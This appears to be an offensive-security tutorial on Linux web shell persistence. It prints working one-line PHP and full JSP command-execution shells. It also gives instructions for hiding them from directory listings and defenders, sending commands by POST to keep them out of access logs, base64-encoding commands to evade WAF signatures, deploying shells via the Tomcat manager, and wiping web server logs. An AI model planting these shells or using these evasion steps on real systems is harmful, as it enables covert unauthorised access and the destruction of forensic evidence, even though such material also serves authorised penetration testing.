Linux Web Shell Persistence
A web shell dropped into the web root gives re-entry through the application layer. It survives reboots, user password changes, and most host-level persistence cleanup. It runs as the web server process user: typically www-data, apache, or nginx: so escalation is usually needed for full system access after re-entry.
The file persists until someone explicitly removes it or audits the web root for unexpected files. Many defenders clean cron jobs, SSH keys, and added user accounts first but miss files sitting in application directories. That makes web shells a reliable fallback when other persistence mechanisms get discovered and removed.
After re-entry, confirm process context with id and hostname. If command execution returns no output, shell_exec may be blocked in php.ini via disable_functions. Try these alternatives:
system()passthru()proc_open()popen()
When all execution functions are locked down, check whether PHP can still write files. Use that write capability to stage a different payload type in a writable path.
PHP web shells
PHP is the most common server-side language on Linux web servers. A minimal shell is a single line.
<?php if(isset($_REQUEST['cmd'])){ echo shell_exec($_REQUEST['cmd']); } ?>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Prefix the filename with a dot to hide it from directory listings. Placing it in an upload or cache directory reduces visibility further. Name it after a legitimate file type expected in that directory: .cache.php in an uploads folder, .config.php in the root.
Avoid directories that explicitly block PHP execution. WordPress installations often restrict PHP in wp-content/uploads/ via a .htaccess rule. Test with a curl request before relying on a location. A 500 response or raw PHP source returned instead of command output confirms execution is blocked there.
Interacting with the shell
POST requests produce less visible entries in access logs than GET requests. GET requests embed the command directly in the URL and appear verbatim in the default Apache and Nginx log format. POST body parameters do not appear in the standard combined log format.
URL-encode all special characters in commands passed to the shell. Unencoded pipes, semicolons, and ampersands get interpreted by curl or the browser before reaching PHP. Use --data-urlencode for anything beyond basic commands.
If the shell returns empty output, test with id first. Empty output from id points to a blocked execution function rather than a broken shell. ModSecurity and application WAFs match common PHP shell patterns. When requests are blocked, base64-encode the command on your machine and pass echo <base64> | base64 -d | bash as the parameter value. The encoded payload avoids most keyword-based signatures.
JSP web shells
Use JSP shells on targets running Tomcat or other Java application servers.
The default web root for a Tomcat installation is webapps/ROOT, but the path varies across distributions and manual installs. Inspect the running process with ps aux | grep tomcat to find the actual working directory, or check /etc/tomcat9/ for distribution-managed configurations.
Tomcat compiles JSP files on the first request. The initial response may be slow. A 500 error on the first request followed by a 200 on retry usually means compilation succeeded during the first hit. A persistent 500 means a syntax error in the JSP source.
JSP execution inherits the Tomcat process user, typically tomcat or tomcat9. Confirm with id after the shell responds. If filesystem write access to webapps/ROOT is restricted, look for the Tomcat manager application at /manager/html. Valid credentials there let you deploy a WAR file containing the shell without needing direct filesystem access. A WAR-based deployment is more reliable on hardened Tomcat installations.
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
Cleaning up
Removing the shell file stops file-based re-entry but does not erase log evidence. Every request made through the shell, including the commands you ran, appears in the web server access log. Clear or rotate /var/log/apache2/access.log or /var/log/nginx/access.log if log cleanup is in scope for the engagement.
After deletion, verify the file is gone. A curl request to the shell path should return a 404. A 200 response after deletion means the file was recreated, which points to another mechanism writing to that location. Check cron jobs and writable directories for secondary persistence before confirming cleanup is complete.